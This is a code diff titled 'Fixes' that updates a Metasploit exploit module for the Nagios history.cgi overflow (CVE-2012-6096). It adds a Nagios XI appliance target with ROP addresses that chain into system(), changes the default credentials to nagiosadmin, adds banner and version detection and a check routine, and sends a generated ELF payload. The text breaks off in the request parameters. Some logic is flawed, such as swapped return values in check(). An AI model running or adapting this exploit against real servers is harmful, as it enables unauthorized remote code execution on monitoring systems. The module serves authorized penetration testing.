Fixes

modules/exploits/unix/webapp/nagios3_history_cgi.rb

@@ -30,11 +30,14 @@ class Metasploit3 < Msf::Exploit::Remote
 			'References'     =>
 				[
 					[ 'CVE', '2012-6096' ],
+					[ 'OSVDB', '88322' ],
+					[ 'BID', '56879' ],
+					[ 'EDB', '24084' ],
 					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ],
 					[ 'URL', 'http://pastebin.com/FJUNyTaj' ],
 				],
 			'Platform'       => ['unix', 'linux'],
-			'Arch'           => [ ARCH_X86, ARCH_X86_64 ],
+			'Arch'           => [ ARCH_X86 ],
 			'Privileged'     => false,
 			'Payload'        =>
 				{
@@ -45,10 +48,10 @@ class Metasploit3 < Msf::Exploit::Remote
 				[
 					[ 'Automatic Target', { 'auto' => true }],
 					# NOTE: All addresses are from the history.cgi binary
-					[ 'CentOS (nagios-3.4.3-1.el6.i686.rpm)',
+					[ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)',
 						{
-							'BannerRE' => 'CentOS',
+							'BannerRE' => 'Apache/2.2.15 (CentOS)',
-							'VersionRE' => '3.4.3',
+							'VersionRE' => '3.4.1',
 							'Arch' => ARCH_X86,
 							'Offset' => 0xc43,
 							'RopStack' =>
@@ -62,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
 								]
 						}
 					],
-					[ 'Debian (nagios3_3.0.6-4~lenny2_i386.deb)', # From original exploit. Not tested.
+					[ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)', # From original exploit. Not tested.
 						{
 							'BannerRE' => 'Debian',
 							'VersionRE' => '3.3.0',
@@ -70,12 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote
 							'Offset' => 0xc37,
 							'RopStack' =>
 								[
-									0x0804b620,     # unescape_cgi_input()
+									0x0804b620,	# unescape_cgi_input()
-									0x08048fe4,     # pop, ret
+									0x08048fe4,	# pop, ret
-									0x080727a0,     # buffer addr
+									0x080727a0,	# buffer addr
-									0x08048c7c,     # system()
+									0x08048c7c,	# system()
-									0xdeafbabe,     # if should be exit() but it's not
+									0xdeafbabe,	# if should be exit() but it's not
-									0x080727a0      # buffer addr
+									0x080727a0	# buffer addr
 								]
 						}
 					],
@@ -85,20 +88,29 @@ class Metasploit3 < Msf::Exploit::Remote
 
 		register_options(
 			[
-				OptString.new('URI',  [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]),
+				OptString.new('TARGETURI',  [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]),
-				OptString.new('USER', [false, "The username to authenticate with", "guest"]),
+				OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]),
-				OptString.new('PASS', [false, "The password to authenticate with", "guest"]),
+				OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]),
 			], self.class)
 	end
 
 	def detect_version(uri)
 		# Send request
-		res = send_request_raw({
+		res = send_request_cgi({
-			'uri'     => uri,
+			'method'    => 'GET',
-			'method'  => 'GET',
+			'uri'       => uri,
-		}, 90)
+			'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
+		}, 10)
 
-		# Detection unknown if error
+		# Error handling
+		if(res.code == 401)
+			print_error("Please specify correct values for USER and PASS")
+			return nil, nil
+		end
+		if(res.code == 404)
+			print_error("Please specify the correct path to history.cgi in the URI parameter")
+			return nil, nil
+		end
 		if res.nil?
 			print_error("Unable to get a response from the server")
 			return nil, nil
@@ -107,46 +119,74 @@ class Metasploit3 < Msf::Exploit::Remote
 		# Extract banner from response
 		banner = res.headers['Server']
 
-		# Version undetected by now - String = "Nagios&reg; Core&trade; 3.4.1 -"
+		# Extract version from body
 		version = nil
+		version_line = res.body.match(/Nagios&reg; Core&trade; [0-9.]+ -/)
+		if not version_line.nil?
+			version = version_line[0].match(/[0-9.]+/)[0]
+		end
 
-		return version, banner
+		# Check in an alert exists
+		alert = res.body.match(/ALERT/)
+
+		return version, banner, alert
+	end
+
+	def select_target(version, banner)
+		# Get version information
+		if not banner.nil?
+			print_status("Web Server banner: #{banner}")
+		end
+		if not version.nil?
+			print_status("Nagios version detected: #{version}")
+		end
+
+		# No banner and version, no target
+		if banner.nil? or version.nil?
+			return nil
+		end
+
+		# Try regex for each target
+		self.targets.each do |t|
+			if t['BannerRE'].nil? or t['VersionRE'].nil?  # It doesn't exist in Auto Target
+				next
+			end
+			regexp1 = Regexp.escape(t['BannerRE'])
+			regexp2 = Regexp.escape(t['VersionRE'])
+			if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then
+				return t
+			end
+		end
+		# If not detected, return nil
+		return nil
+	end
+
+	def check
+		print_status("Checking banner and version...")
+		# Detect version
+		banner, version, alert = detect_version(target_uri.path)
+		# Select target
+		mytarget = select_target(banner, version)
+
+		if mytarget.nil?
+			print_error("No matching target")
+			return CheckCode::Unknown
+		end
+		if alert.nil?
+			print_error("At least one ALERT is needed in order to exploit")
+			return CheckCode::Safe
+		end
+
+		return CheckCode::Vulnerable
 	end
 
 	def exploit
-		uri = normalize_uri(datastore['URI'])
-
 		# Automatic Targeting
 		mytarget = nil
 		if (target['auto'])
 			print_status("Automatically detecting the target...")
-
+			banner, version, alert = detect_version(target_uri.path)
-			# Get version information
+			mytarget = select_target(banner, version)
-			version, banner = detect_version(uri)
-			if not banner.nil?
-				print_status("Web Server banner: #{banner}")
-			end
-			if not version.nil?
-				print_status("Nagios version detected: #{version}")
-			end
-
-			# No banner, no target
-			if banner.nil?
-				fail_with(Exploit::Failure::NoTarget, "No matching target")
-			end
-
-			# Try regex for each target
-			self.targets.each do |t|
-				if t['BannerRE'].nil?	# It doesn't exist in Auto Target
-					next
-				end
-				regexp = Regexp.escape(t['BannerRE'])
-				if ( banner =~ /#{regexp}/ ) then
-					mytarget = t
-					break
-				end
-			end
-
 			if mytarget.nil?
 				fail_with(Exploit::Failure::NoTarget, "No matching target")
 			end
@@ -155,7 +195,10 @@ class Metasploit3 < Msf::Exploit::Remote
 		end
 
 		print_status("Selected Target: #{mytarget.name}")
-		print_status("Sending request to http://#{rhost}:#{rport}#{uri}")
+		if alert and alert.nil?
+			fail_with(Exploit::Failure::NoTarget, "At least one ALERT is needed in order to exploit")
+		end
+		print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}")
 
 		# Generate a payload ELF to execute
 		elfbin = generate_payload_exe
@@ -178,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		# Send exploit
 		res = send_request_cgi({
 			'method'    => 'GET',
-			'uri'       => uri,
+			'uri'       => target_uri.path,
 			'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
 			'vars_get' =>
 			{